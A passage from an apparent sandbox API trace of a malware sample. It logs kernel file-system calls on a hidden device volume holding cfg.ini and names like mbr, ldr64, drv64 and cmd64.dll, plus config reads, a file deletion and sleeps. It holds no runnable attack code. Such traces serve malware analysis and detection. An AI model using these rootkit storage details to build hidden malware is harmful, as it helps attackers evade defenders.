out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.428] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.428] IdePortDispatch () returned 0x103 [0126.428] KeWaitForMutexObject () returned 0x0 [0126.428] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.428] KeLeaveCriticalRegion () [0126.428] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.429] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.429] KeEnterCriticalRegion () [0126.429] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.429] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.429] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.429] KeLeaveCriticalRegion () [0126.429] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.429] KeEnterCriticalRegion () [0126.429] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.429] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.429] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfa610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.429] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.429] KeLeaveCriticalRegion () [0126.429] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.429] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.429] KeEnterCriticalRegion () [0126.429] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.429] ExFreePoolWithTag (P=0xfffffa8003bfa360, Tag=0x0) [0126.429] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.429] KeLeaveCriticalRegion () [0126.429] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.429] ReleaseMutex (hMutex=0xf0) returned 1 [0126.429] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.429] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0126.430] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.430] KeEnterCriticalRegion () [0126.430] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.430] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.430] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.430] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.430] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.430] IdePortDispatch () returned 0x103 [0126.430] KeWaitForMutexObject () returned 0x0 [0126.430] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.430] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.430] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.430] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.430] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.430] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfa250 [0126.430] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.430] KeLeaveCriticalRegion () [0126.430] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.430] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.430] KeEnterCriticalRegion () [0126.430] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.430] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.430] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.430] KeLeaveCriticalRegion () [0126.430] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.430] KeEnterCriticalRegion () [0126.430] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.430] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.430] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.430] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.430] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.431] IdePortDispatch () returned 0x103 [0126.431] KeWaitForMutexObject () returned 0x0 [0126.431] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.431] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.431] KeLeaveCriticalRegion () [0126.431] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.431] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.431] KeEnterCriticalRegion () [0126.431] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.431] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003497000 [0126.431] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.431] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.431] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.431] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.431] IdePortDispatch () returned 0x103 [0126.431] KeWaitForMutexObject () returned 0x0 [0126.431] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.431] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.431] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.431] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.431] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.431] IdePortDispatch () returned 0x103 [0126.431] KeWaitForMutexObject () returned 0x0 [0126.432] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.432] KeLeaveCriticalRegion () [0126.432] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.432] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.432] KeEnterCriticalRegion () [0126.432] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.432] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.432] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.432] KeLeaveCriticalRegion () [0126.432] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.432] KeEnterCriticalRegion () [0126.432] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.432] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.432] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037ecc80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.432] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.432] KeLeaveCriticalRegion () [0126.432] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.432] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.432] KeEnterCriticalRegion () [0126.432] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.432] ExFreePoolWithTag (P=0xfffffa8003bfa250, Tag=0x0) [0126.432] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.432] KeLeaveCriticalRegion () [0126.432] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.432] ReleaseMutex (hMutex=0xf0) returned 1 [0126.432] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0126.433] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0126.433] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0126.433] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.433] KeEnterCriticalRegion () [0126.433] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.433] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.433] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.433] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.433] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.433] IdePortDispatch () returned 0x103 [0126.433] KeWaitForMutexObject () returned 0x0 [0126.433] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.433] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.433] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.433] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.433] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.433] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.433] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.433] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.433] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.433] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.433] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.433] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.433] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.433] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.433] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.433] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.433] KeLeaveCriticalRegion () [0126.433] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.433] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0126.433] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.433] KeEnterCriticalRegion () [0126.433] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.433] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.433] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.433] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.433] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.433] IdePortDispatch () returned 0x103 [0126.434] KeWaitForMutexObject () returned 0x0 [0126.434] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.434] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.434] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.434] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.434] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.434] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.434] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.434] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.434] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.434] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.434] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.434] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.434] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.434] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.434] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.434] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.434] KeLeaveCriticalRegion () [0126.434] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.434] ReleaseMutex (hMutex=0x100) returned 1 [0126.434] Sleep (dwMilliseconds=0x2bf20) [0126.440] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6e8f0030, dwHighDateTime=0x1d24fa4)) [0126.440] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0126.440] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.440] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.440] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.440] KeEnterCriticalRegion () [0126.440] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.440] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.440] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.440] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.440] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.440] IdePortDispatch () returned 0x103 [0126.441] KeWaitForMutexObject () returned 0x0 [0126.441] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.441] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.441] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.441] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.441] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.441] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfa140 [0126.441] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.441] KeLeaveCriticalRegion () [0126.441] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.441] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.441] KeEnterCriticalRegion () [0126.441] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.441] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.441] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.441] KeLeaveCriticalRegion () [0126.441] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.441] KeEnterCriticalRegion () [0126.441] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.441] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.441] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.441] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.441] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.441] IdePortDispatch () returned 0x103 [0126.441] KeWaitForMutexObject () returned 0x0 [0126.441] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.441] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.441] KeLeaveCriticalRegion () [0126.441] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.442] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.442] KeEnterCriticalRegion () [0126.442] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.442] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800349a000 [0126.442] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.442] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.442] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.442] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.442] IdePortDispatch () returned 0x103 [0126.442] KeWaitForMutexObject () returned 0x0 [0126.442] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.442] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.442] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.442] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.442] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.442] IdePortDispatch () returned 0x103 [0126.442] KeWaitForMutexObject () returned 0x0 [0126.442] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.442] KeLeaveCriticalRegion () [0126.442] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.443] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.443] KeEnterCriticalRegion () [0126.443] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.443] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.443] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.443] KeLeaveCriticalRegion () [0126.443] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.443] KeEnterCriticalRegion () [0126.443] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.443] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.443] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037ec3f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.443] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.443] KeLeaveCriticalRegion () [0126.443] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.443] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.443] KeEnterCriticalRegion () [0126.443] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.443] ExFreePoolWithTag (P=0xfffffa8003bfa140, Tag=0x0) [0126.443] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.443] KeLeaveCriticalRegion () [0126.443] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.443] ReleaseMutex (hMutex=0xf0) returned 1 [0126.443] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.443] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.443] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.443] KeEnterCriticalRegion () [0126.443] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.443] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.443] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.443] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.443] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.443] IdePortDispatch () returned 0x103 [0126.443] KeWaitForMutexObject () returned 0x0 [0126.444] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.444] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.444] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.444] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.444] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.444] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037eead0 [0126.444] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.444] KeLeaveCriticalRegion () [0126.444] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.444] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.444] KeEnterCriticalRegion () [0126.444] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.444] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, 